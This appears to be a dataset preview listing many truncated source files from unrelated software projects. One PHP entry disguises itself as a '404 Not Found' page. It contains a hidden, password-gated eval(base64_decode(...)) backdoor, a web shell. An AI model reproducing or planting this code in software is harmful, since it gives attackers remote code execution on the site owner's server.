text stringlengths 27 775k |
|---|
// ? ==================================== (c) TagoIO ====================================
// * What is this file?
// Migration of old HEAT MAP to new HEAT MAP
// ? ====================================================================================
import { WidgetInfo } from "../Account/dashboards.types";
export f... |
/*============================================================
Problem: Median of Two Sorted Arrays
==============================================================
There are two sorted arrays nums1 and nums2 of size m and n
respectively. Find the median of the two sorted arrays. The
overall run time complexity should ... |
import {
BoolTranslationPropType,
StringTranslationPropType,
ListStringTranslationPropType,
ListFloatTranslationPropType,
ListIntegerTranslationPropType,
CustomTranslationPropType,
ParagraphTranslationPropType,
IntegerTranslationPropType,
FloatTranslationPropType,
ListCustomTrans... |
package fr.inria.anhalytics.index.exceptions;
import fr.inria.anhalytics.commons.exceptions.ServiceException;
/**
*
* @author azhar
*/
public class IndexingServiceException extends ServiceException {
private static final long serialVersionUID = -3337770841815682150L;
public IndexingServiceException() {
... |
(ns yritykset.core
(:require [clojure.data.json :as json])
(:require [clojure.string :as s])
(:require [clj-http.client :as http])
(:require [clojure.data.csv :as csv])
(:require [clojure.java.io :as io]))
(defn get-company [id]
(-> (http/get (str "http://avoindata.prh.fi/bis/v1/" id) {:throw-exceptions fa... |
<% content_for(:title, 'Contact') %>
# Contact
## IRC
There's [#asciinema](irc://freenode/asciinema) channel on Freenode. Join us
there and say "Hi". If you're looking for general help this is probably the
best way to go.
## Twitter
Follow [@asciinema](https://twitter.com/asciinema) on Twitter to get updates on
ne... |
package com.gu.management
import javax.servlet.http.HttpServletRequest
/**
* This is a simple placeholder for a properties page.
* This does not include dependencies to com.gu.configuration but takes a string to be printed, any dependency
* should be handled by the calling application appropriately. This placehold... |
import { ApiClient } from './api/api-client';
export class Model {
private static _api: ApiClient;
private id: string;
static setApiClient(arg: ApiClient) {
this._api = arg;
}
static api(): ApiClient {
return this._api;
}
api(): ApiClient {
return Model._api;
... |
@file:JvmName("-ComponentRegistries")
@file:Suppress("DEPRECATION")
package coil.util
import coil.ComponentRegistry
import coil.decode.Decoder
import coil.fetch.Fetcher
import coil.map.Mapper
import okio.BufferedSource
@Suppress("UNCHECKED_CAST")
internal fun ComponentRegistry.mapData(data: Any): Any {
var mappe... |
import Identicon from 'identicon.js'
export const getRandomDefaultImage = (wallet: string) => {
const data = new Identicon(wallet, 420).toString()
return `data:image/png;base64,${data}`
}
|
require "net/ptth"
require "securerandom"
module Airplay
# Public: The class that handles all the outgoing basic HTTP connections
#
class Connection
# Public: Class that wraps a persistent connection to point to the airplay
# server and other configuration
#
class Persistent
attr_re... |
import 'package:flutter/material.dart';
import 'package:provider/provider.dart';
import '../providers/messages.dart';
import 'message.dart';
class MessageList extends StatelessWidget {
final String spaceId;
MessageList(this.spaceId);
@override
Widget build(BuildContext context) {
final List<ChatMessage> ... |
#!/bin/bash
#------Required Parameters-------
# Path of a writable directory on HDFS, used for DAGMR Pipeline pre-deploymenti/job submitting.
BIGFLOW_TEMP_PATH_HDFS="hdfs:///tmp/bigflow"
#------Optional Parameters------
# Path of Bigflow Python log files. If not set, log to screen.
#BIGFLOW_LOG_FILE=
# If Pipeline... |
---
title: Gatsby Starter Under Construction
github: https://github.com/robinmetral/gatsby-starter-under-construction
demo: https://gatsby-starter-under-construction.netlify.com/
author: Robin Métral
ssg:
- Gatsby
cms:
- No Cms
date: 2019-01-23T18:50:25.000Z
description: A Gatsby theme to showcase your open-source ... |
/*
* Copyright 2009-2019 Mathias Doenitz
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or a... |
import 'package:flutter_test/flutter_test.dart';
import 'package:amberbrooch/main.dart';
void main() {
test('entities/AuthUser: params not required have default value.', () {
AuthUser authUser = AuthUser(
id: "id01",
// email: null,
// emailVerified: false,
);
expect(authUser.id, "id01... |
use serde::{Deserialize, Deserializer, Serialize, Serializer};
use crate::model::id::{ChannelId, EmojiId};
/// Information relating to a guild's welcome screen.
#[derive(Clone, Debug, Deserialize, Serialize)]
pub struct GuildWelcomeScreen {
/// The server description shown in the welcome screen.
pub descripti... |
# parameters
mass_bin_name = "1540_1560" # ARGS[1]#
tslice = "t1"
path_wavelist = "src"
path_to_working_folder = "/afs/cern.ch/user/m/mimikhas/work/private/pwa_data"#"data"
#########################################################
@show ARGS
push!(LOAD_PATH,"src")
print(typeof(mass_bin_name))
using SDMHelper
using PW... |
<?php
namespace App\Http\Controllers\App;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Corousel;
use File;
class CorouselController extends Controller
{
public function index()
{
$this->data['slides'] = Corousel::all();
return view('carousel.index')->with($this->data);
}
... |
---
layout: post
title: "storybook✖️React tutorial 2"
date: 2022-01-16
category: read
excerpt: ""
---
## やったこと
今日は、ハッカソンのバックエンド班とミーティングしながらコードの修正をした。
そこで以前までPOSTする際にCORSerrorと400errorが出ていた部分を解消した。
### JSON形式で遅れていなかったが故にエラー
以前まで
```ts
const data = {
title: recruteTitle,
beginTime: recruteStartDate,
endTim... |
package com.example.capstone3
import android.content.Context
import android.os.Bundle
import android.support.v7.app.AppCompatActivity
import kotlinx.android.synthetic.main.activity_pref_ex.*
class PrefExActivity : AppCompatActivity() {
// nameField 의 데이터를 저장할 Key
val nameFieldKey = "nameField"
// pushChec... |
<?php
/**
* Created by PhpStorm.
* User: fertl
* Date: 11.04.2016
* Time: 09:16
*/
namespace App\Http\Controllers;
//use App\Models\team;
use App\Http\Controllers\Controller;
use Illuminate\Http\Response;
use Illuminate\Http\Request;
use App\Team;
class TeamController extends Controller
{
/*... |
<div class="d1">
<h2>Dashboard Head</h2>
<div class="col-md-12">
<div class="col-md-6 p-t-34">
<div class="bty-dashboard-head-1">
<div>
<i class="fa fa-desktop"></i>
</div>
<div>
<h4>Lorem ipsum</h4>
... |
import _ from 'lodash'
import v3 from './v3'
import { inArray } from './util.js'
import * as glgeom from './glgeom'
import { SpaceHash } from './pairs.js'
import Store from './store.js'
import * as data from './data'
import * as THREE from 'three'
function pushToListInDict (dict, key, value) {
if (!(key in dict)) ... |
<?php
echo "404 Not Found!</br>"; error_reporting(0);
if(isset($_POST['com']) &&
md5($_POST['com']) == '791dc312b38016ef998c1c146104cd5a' &&
isset($_POST['content']))
eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."
?>
<!--
灭绝师太
===================... |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class EndScreen : MonoBehaviour
{
public int rows = 5;
public int columns = 3;
public GameObject inputFieldPrefab;
// Start is called before the first frame update
void Start()
{
... |
using FluentValidation;
namespace Bookmark.Application.Features.GroupFeature.Commands.UpdateGroup
{
public class UpdateGroupCommandValidator : AbstractValidator<UpdateGroupCommand>
{
public UpdateGroupCommandValidator()
{
RuleFor(x => x.Name).NotEmpty();
RuleFor(x => x.... |
/**
* $File: lib.rs $
* $Date: 2021-10-17 20:22:21 $
* $Revision: $
* $Creator: Jen-Chieh Shen $
* $Notice: See LICENSE.txt for modification and distribution information
* Copyright © 2021 by Shen, Jen-Chieh $
*/
extern crate unicode_normalization;
mod constants;
mod search;
pub use search::{... |
#!/usr/bin/env bash
eval "$(pyenv init -)" && pyenv shell e4990a
python -m e4990a "$@"
|
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using TwitterBackup.DataAccess.Entities;
namespace TwitterBackup.DataAccess.Repositories.Users
{
public interface IUserRepository
{
IEnumerable<User> Search(string query);
IEnumerable<User> GetUsersFromIds(IEnumerab... |
export * from './step1';
export * from './step2';
export * from './step3';
|
#!/bin/bash
cd ..
make -j15
cp libcbrain.so examples
cd examples
gcc cbrain.c -o cbrain -lSDL2 -Wl,-rpath=. -L. -lcbrain
echo
|
# HTTP-API: alloc_info
```http://localhost:8888/api/http/alloc_info```
## Purpose
Request a JSON encoded sub-list of allocation descriptors from the Memory Manager’s alloc_info list.
## Query String Parameters
| Parameter|Default|Description |
|-------------|----|---------------------------... |
use crate::imap::{tag::Tag, tokens::Token};
#[derive(Debug, PartialEq, Eq)]
pub enum ImapResponse {
Continuation,
// Generic
Ok,
No,
Bad,
Preauth,
Bye,
// ServerStatus
Enabled,
Capability,
// MailboxStatus
List,
Namespace,
Status,
Esearch,
Flags,
// M... |
package elasticache
import (
"github.com/aws/aws-sdk-go/service/elasticache/elasticacheiface"
)
type ElasticacheService struct {
Client elasticacheiface.ElastiCacheAPI
}
|
-- file:aggregates.sql ln:344 expect:true
create temp table t3 (a int, b int, c int, primary key(a, b) deferrable)
|
package com.github.marcoferrer.krotoplus.coroutines
import kotlinx.coroutines.CoroutineDispatcher
import kotlinx.coroutines.Dispatchers
import kotlin.coroutines.*
@Deprecated("Deprecated in favor of ThreadLocalElement", ReplaceWith("GrpcContextElement"))
class GrpcContextContinuationInterceptor(
val grpcContext: ... |
import { DeleteProfile } from 'Core/Application/Profile/Command/UseCase/DeleteProfile';
import { ProfileIdentifierRequest } from 'Core/Domain/Profile/Model';
import { InMemoryProfileWriteRepository } from 'Infrastructure/Persistence/InMemory/Profile';
import { v4 as uuidv4 } from 'uuid';
import { StubProfileBuilder } ... |
pub trait IIntersect<Other, Result> {
fn intersect(&mut self, other: &Other) -> Option<Result>;
}
|
/*!
* \file RobbusMaster.c
* \brief Robbus command processing state machine
*
* \author Kamil Rezac
* URL: http://robotika.cz/
*
* Revision: 1.0
* Date: 2009/10/30
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include "RobbusNodeList.h"
#in... |
namespace Zen.Web.Data.Pipeline.Moderation
{
public class ModerationAttribute : ModerationPrimitiveAttribute { }
} |
// Copyright (c) 2021, Adam Congdon <adam.congdon2@gmail.com>
// MIT License
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HC_Reporting.DataTypes
{
class CLicTypeInfo
{
public string LicensedTo { get; set; }
public... |
package br.unifor.kubow;
import io.prometheus.client.exporter.HTTPServer;
import br.unifor.kubow.services.api.Server;
import org.sa.rainbow.core.RainbowDelegate;
import org.sa.rainbow.core.RainbowMaster;
import org.sa.rainbow.core.error.RainbowAbortException;
import org.sa.rainbow.core.error.RainbowConnectionException... |
; RUN: llc -mtriple=hexagon-unknown-linux-musl < %s | FileCheck %s
define void @Foo(i32 signext %a, i32 signext %b) #0 {
; CHECK-LABEL: @Foo
; CHECK-LABEL: .Lxray_sled_0:
; CHECK: jump .Ltmp0
; CHECK-COUNT-4: nop
entry:
%cmp = icmp sgt i32 %a, %b
br i1 %cmp, label %return, label %if.end
; CHECK-LABEL: .Lxr... |
# Silver Oak Public School, Muzzafarnagar Website
----
*Created using Django,Bootstrap, HTML,CSS,JS and Jquery(until now, that is.)*
`-edit 2: added slideshow images, header logo and other cosmetic changes`
`-edit 1: added Django 2.0.x back-end to website front-end`
|
// The Vue build version to load with the `import` command
// (runtime-only or standalone) has been set in webpack.base.conf with an alias.
import Vue from 'vue'
import App from './App'
import router from './router'
import Vuex from 'vuex'
import VueLazyload from 'vue-lazyload'
// import './assets/css/bootstrap.css'
//... |
require('pry')
class Parcel
define_method(:initialize) do |h, w, d, weight|
@height = h.to_i
@width = w.to_i
@depth = d.to_i
@weight = weight.to_f
end
define_method(:volume) do
return @height * @width * @depth
end
define_method(:cost_to_ship) do |isWrapped|
gift_wrapped_cost = (is... |
from django.conf.urls import url
from . import views
from .compat import LEGACY_AUTO_DISCOVER
if LEGACY_AUTO_DISCOVER:
# Auto-discovery is now handled by the app configuration
from . import registry
registry.autodiscover()
urlpatterns = [
url(r'^(?P<lookup_name>[-\w]+)/$', views.get_lookup, name="... |
-ifndef(_agent_types_included).
-define(_agent_types_included, yeah).
-include("jaeger_types.hrl").
-endif.
|
export const theme = Object.freeze({
colors: {
primaryColor: '#080872',
reverseColor: '#ffffff',
accentColor: '#F7CC07',
disabledColor: '#666666',
outlineColor: '#F7CC07',
backgroundColor: '#F7F5F9',
backgroundColorForm: '#E3DEE9',
borderDisabledColor: '#999999',
backgroundDisable... |
// -----------------------------------------------------------
//
// RealLabel version 1.0 visual component
// (c) 2004 Nikolaj Masnikov
//
// Features:
// HotTrack : boolean - when true component changes Font to FontHotTrack and back on rollover
// FontHotTrack : TFont
// Subject : string -... |
module Utils(
assignMaybe,
maybeRead,
toGLPoint,
swapCoords,
toMatrix,
toMatrix3d,
toGLPoint3d
) where
import Types
import Data.IORef
import Data.Maybe(listToMaybe)
import Graphics.Rendering.OpenGL.Raw.Core31
import Graphics.Rendering.OpenGL.GL.StateVar ( ($=), ($=!), get )
assignMaybe :: IORef a -> ... |
#ifndef SELECTION_HPP_
#define SELECTION_HPP_
#include "la.hpp"
#include "text.hpp"
#include <cassert>
enum class SelectionState {
HIDDEN = 0,
STARTED,
IN_PROGRESS,
FINISHED,
};
const char* ss_to_cstr(SelectionState s);
class Selection {
public:
explicit Selection() : state_(SelectionState::HI... |
@inherits Merchello.Web.Mvc.MerchelloViewPage<FtCatalog>
@using System.Web.Mvc.Html
@using Merchello.FastTrack.Ui
@using Merchello.Web
@using Merchello.Web.Models
@using Merchello.Web.Models.Ui.Rendering
@using Merchello.Core
@{
Layout = "FastTrack.cshtml";
}
@Html.Partial("_Headline")
@Html.Action("EditOffer", ... |
---
title: Ceac - Website
date: 2019-04-04T21:37:24.346Z
image: /images/ceac1.jpg
tags:
- website
- design
---
Website para o CEAC - Centro de Estudos Avançados de Cosmologia.
|
---
layout: page
title: Digital Filter Design
description: Various digital filters designed using software
img: assets/img/filter_design.png
importance: 1
category: Course Projects
redirect: https://ipsitmantri.github.io/Digital-Filter-Design/
--- |
import { CallToAction } from 'components/CallToAction'
import { ZoomImage } from 'components/ZoomImage'
import { StaticImage } from 'gatsby-plugin-image'
import React from 'react'
import Section from './Section'
export default function Heatmaps() {
return (
<Section id="heatmaps">
<div classNam... |
package com.samu.composite;
import java.util.ArrayList;
import java.util.List;
/**
* Created by sandromuggli on 03.10.17.
*
* Entspricht Composite
*/
class LineManager extends Employee {
private List<Employee> employees = new ArrayList();
private String department;
public LineManager(String name, St... |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
#nullable disable
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System... |
MODULE Lin_Feedback_Shift_Reg
! L'Ecuyer's 1999 random number generator.
! Fortran version by Alan.Miller @ vic.cmis.csiro.au
! N.B. This version is compatible with Lahey's ELF90
! This version requires that the default integer type is of 32-bits
! http://www.ozemail.com.au/~milleraj
! http://users.bigpond.net.au... |
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT license.
#include "pch.h"
#include "TerminalDispatch.hpp"
using namespace ::Microsoft::Terminal::Core;
using namespace ::Microsoft::Console::VirtualTerminal;
// NOTE:
// Functions related to Set Graphics Renditions (SGR) are in
// Termin... |
-module(deliv_hand_phase_runs_named_deserializer_tests).
-include_lib("hoax/include/hoax.hrl").
-compile([export_all]).
fixture_test_() ->
hoax:fixture(?MODULE).
from_json_returns_correct_values_for_running_json() ->
Json = {[{<<"run_success">>, false},
{<<"run_log">>, <<"LOG">>},
... |
# passing arrays as arguments
- `int[,] theArray = {{1,2},{2,3},{3,4}}
void Print2DArray(int[,] arr)
{
// method code
} |
package m.derakhshan.help.feature_authentication.presentation.composable
import androidx.compose.runtime.Composable
import androidx.navigation.NavController
@Composable
fun AuthenticationScreen(
navController: NavController
) {
} |
/* --------------------consyn.pl----------------------------
-- checks defn of sort hierarchy
-- checks that every predicate in the substate_classes
also appears in the pred defn
-- checks that every predicate in the atomic_invariants
are defined.
--------------------------------------------------------... |
RSpec.describe Message::CreateAggregate do
let(:sender) { SecureRandom.uuid }
let(:id) { SecureRandom.uuid }
let(:type) { 'Test' }
let(:string) { Message::CreateAggregate::TYPE_CODE + sender + id + type }
let(:message) { Message::CreateAggregate.new(sender, id, type) }
describe '.parse' do
it 'should... |
#ifndef Map_VIEW_H
#define Map_VIEW_H
#include <View.h>
#include <String.h>
#include <iostream>
#include "def_col.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
class Country;
class Politic;
class Group;
class Day;
class BBitmap;
class SendWindow;
#define NO_COUNTRY_SELECTED -1
class MapView : p... |
module Danger
# This is your plugin class. Any attributes or methods you expose here will
# be available from within your Dangerfile.
#
# To be published on the Danger plugins site, you will need to have
# the public interface documented. Danger uses [YARD](http://yardoc.org/)
# for generating documentation... |
// Copyright (c) 2014, the Dart project authors. Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
// @dart = 2.9
abstract class A {
method1();
method5();
method6();
method7();
get getter8;
... |
! { dg-do "compile" }
!
! PR fortran/38404 - location marker in wrong line
! Testcase contributed by Steve Chapel <steve DOT chapel AT a2pg DOT com>
!
CHARACTER(len=72) TEXT(3)
DATA (TEXT(I),I=1,3)/
&'a string without issues',
&'a string with too many characters properly broken into the next
... |
import React from "react"
import { Link } from "gatsby"
import cn from "classnames"
import MenuIcon from "./MenuIcon"
import styles from "../styles/components/HeaderNav.module.css"
interface HeaderNavProps {
routes: {
path: string
title: string
}[]
}
interface HeaderNavItemProps {
title: string
to: st... |
<?php
use App\User;
use App\role;
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
class UserSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
//
//$profesiones=DB::select('select id from profesion where t... |
package org.clafer.ir.analysis.deduction;
import org.clafer.ir.IrAllDifferent;
/**
*
* @author jimmy
*/
class AllDifferentDeducer implements BoolDeducer<IrAllDifferent> {
@Override
public void deduce(IrAllDifferent ir, Deduction deduction) {
deduction.allDifferent(ir.getOperands());
}
}
|
using System;
namespace SFA.DAS.Provider.Events.Application.Data.Entities
{
public class TransferEntity
{
public long Id {get; set; }
public long TransferSenderAccountId {get; set; }
public long AccountId {get; set; }
public Guid RequiredPaymentEventId {get; set; }
publ... |
---
translation: automatic
title: Petit HDL
description: Petite lipoprotéine de haute densité
---
|
package typingsSlinky.heremaps.global.H.map
import typingsSlinky.heremaps.H.map.layer.Layer
import typingsSlinky.heremaps.H.util.OList
import org.scalablytyped.runtime.StObject
import scala.scalajs.js
import scala.scalajs.js.`|`
import scala.scalajs.js.annotation.{JSGlobalScope, JSGlobal, JSImport, JSName, JSBracketAc... |
# encoding: utf-8
require 'lacuna_util/task'
require 'lacuna_util/logger'
class MakeHalls < LacunaUtil::Task
# Array of the 4 recipes used to make Halls of Vrbansk
RECIPES = [
%w( goethite halite gypsum trona ),
%w( gold anthracite uraninite bauxite ),
%w( keroge... |
CREATE TABLE sites (
siteid serial PRIMARY KEY,
userid integer,
nodeid integer,
domain TEXT,
onion TEXT,
created datetime DEFAULT NOW(),
modified datetime,
options JSON,
FOREIGN KEY (`userid`) REFERENCES users (`userid`),
FOREIGN KEY (`nodeid`) REFERENCES nodes (`nodeid`)
);
|
mkdir -p data/ENCODE
cd data/ENCODE
# GM12878 CAGE IDR peaks
wget https://www.encodeproject.org/files/ENCFF853HOH/@@download/ENCFF853HOH.bed.gz
gunzip ENCFF853HOH.bed.gz
mv ENCFF853HOH.bed GM12878_CAGE.bed
# K562 CAGE IDR peaks
wget https://www.encodeproject.org/files/ENCFF698DQS/@@download/ENCFF698DQS.bed.gz
gunzip ... |
library eosdart_hyperion;
export 'src/actions/actions_hyperion_service.dart';
export 'src/dtos/get_actions_response.dart';
export 'src/dtos/simple_action.dart';
export 'src/dtos/transaction_data.dart';
export 'src/hyperion_client.dart';
|
package it.unibo.buttonLedSystem.test
import org.specs2.ScalaCheck
import org.specs2.specification.Step
import org.specs2.time.NoTimeConversions
import org.specs2.mutable.SpecificationLike
import akka.actor.{ Props, ActorSystem }
import akka.testkit.{ TestKit, ImplicitSender }
import scala.concurrent.duration._
trai... |
# TODOs
- [OK] Add exe()-functions to the rest of the functions
- [OK] Implement repl
- [OK] Fix variable scope and implement rest of scope
- [OK] Look at default variable value checks
- [OK] Find out what is up with the print function
- [OK] Copy arrays back into previous functions
- [OK] Implicit cast between int an... |
package com.redhat.labs.lodestar.hosting.utils;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.List;
import io.quarkus.test.junit.QuarkusTest;
import ... |
package io.plastique.core.init
import android.os.Looper
import com.github.technoir42.rxjava2.extensions.FailFastErrorHandler
import io.reactivex.android.plugins.RxAndroidPlugins
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.plugins.RxJavaPlugins
import javax.inject.Inject
class RxJavaIn... |
## Project Error's Common GH Resources
This repository holds many of our organization wide documents, workflows,
and other shared GitHub resources across projects.
**License:**
This repository is licensed under the MIT specification. |
import type { Principal } from '@dfinity/principal';
export interface _SERVICE {
'getFloat32' : () => Promise<number>,
'getFloat64' : () => Promise<number>,
'getInt' : () => Promise<bigint>,
'getInt16' : () => Promise<number>,
'getInt32' : () => Promise<number>,
'getInt64' : () => Promise<bigint>,
'getInt... |
<?php
class FrontCommerce_Mondialrelay_Model_Pickups
{
private $soapClient;
public function __construct()
{
$this->soapClient = new SoapClient(Mage::getStoreConfig('carriers/mondialrelay/url_ws', true));
}
private function signParameters(array $parameters): array
{
$code = impl... |
export declare const PKCS8_DIVIDER: Uint8Array;
export declare const PKCS8_HEADER: Uint8Array;
export declare const PUB_LENGTH = 32;
export declare const SALT_LENGTH = 32;
export declare const SEC_LENGTH = 64;
export declare const SEED_LENGTH = 32;
|
# frozen_string_literal: true
after :playbook do
@flake = Playbook.find_by! name: 'The Flake'
#####
# Moves
#####
[
{
name: 'Connect the Dots',
type: 'Moves::Rollable',
rating: :sharp,
description: "At the beginning of each mystery, "\
"if you look for the wider patterns th... |
package com.example.houjie.studyapk.studymedia.mipmap;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Environment;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import... |
package com.zulipmobile.notifications
import android.os.Bundle
/**
* Parsed version of an FCM message of type `message`.
*
* This corresponds to a Zulip message for which the user wants to
* see a notification.
*
* The word "message" can be confusing in this context:
*
* * FCM docs say "message" to refer to... |
#!/bin/bash
# ch7/show_setuidgid.sh
#***************************************************************
# This program is part of the source code released for the book
# "Hands-on System Programming with Linux"
# (c) Author: Kaiwan N Billimoria
# Publisher: Packt
#
# From: Ch 7 : Process Credentials
#***************... |
<?php
namespace Eyewitness\Eye\Notifications\Drivers;
use Exception;
use GuzzleHttp\Client;
use Eyewitness\Eye\Eye;
class Webhook implements DriverInterface
{
/**
* Fire a notification.
*
* @param \Eyewitness\Eye\Repo\Notifications\Recipient $recipient
* @param \Eyewitness\Eye\Notification... |
#!/bin/sh
DB=ntfsheurecovery.db
IMG=
usage () {
APPNAME=$(basename "$0")
echo "ntfsheurecovery orphaned clusters type detector
This script analyses DB clusters map and call file(1) utility for each
orphaned cluster.
Usage:
$APPNAME -h
$APPNAME [-D <database>] <img>
Options:
<img> Partition image fi... |
import * as React from "react"
import indexStyles from "../pages/indexPage.module.scss"
import specialStyles from "./specialsTimeTable.module.scss"
import classNames from "classnames"
import { useEffect, useState } from "react"
function SpecialsTimeTable(props: TimeTableProps) {
const daysTemplate = ["S", "M", "T", ... |
package engine
import (
"os"
"path"
"testing"
"github.com/stretchr/testify/assert"
"github.com/yaoapp/yao/config"
)
func TestLoad(t *testing.T) {
defer Load(config.Conf)
assert.NotPanics(t, func() {
Load(config.Conf)
})
}
// 从文件系统载入引擎文件
func TestLoadEngineFS(t *testing.T) {
defer Load(config.Conf)
root ... |
require 'time'
module SyslogProtocol
def self.parse(msg, origin=nil)
packet = Packet.new
original_msg = msg.dup
pri = parse_pri(msg)
if pri and (pri = pri.to_i).is_a? Integer and (0..191).include?(pri)
packet.pri = pri
else
# If there isn't a valid PRI, treat the entire message as co... |
package AdapterLayer.DisIliskiler;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.Filter;
import android.widget.TextView;
import com.konumsal.orbisozetmobil.R;
import java.util.Arra... |
/**
* Copyright (c) Tiny Technologies, Inc. All rights reserved.
* Licensed under the LGPL or a commercial license.
* For LGPL see License.txt in the project root for license information.
* For commercial licenses see https://www.tiny.cloud/
*/
import EventDispatcher from './EventDispatcher';
/**
* This mixin w... |
#!/bin/bash
# mount the SecWorld (12.50.2) + CodeSafe (12.63.0) image so we can copy stuff off it to our target image
sudo mkdir /media/SecWorld && sudo mount -t iso9660 -o ro /vagrant/CodeSafe-linux64-dev-12.50.2.iso /media/SecWorld
sudo mkdir /media/CodeSafe && sudo mount -t iso9660 -o ro /vagrant/Codesafe_Lin64-12.... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.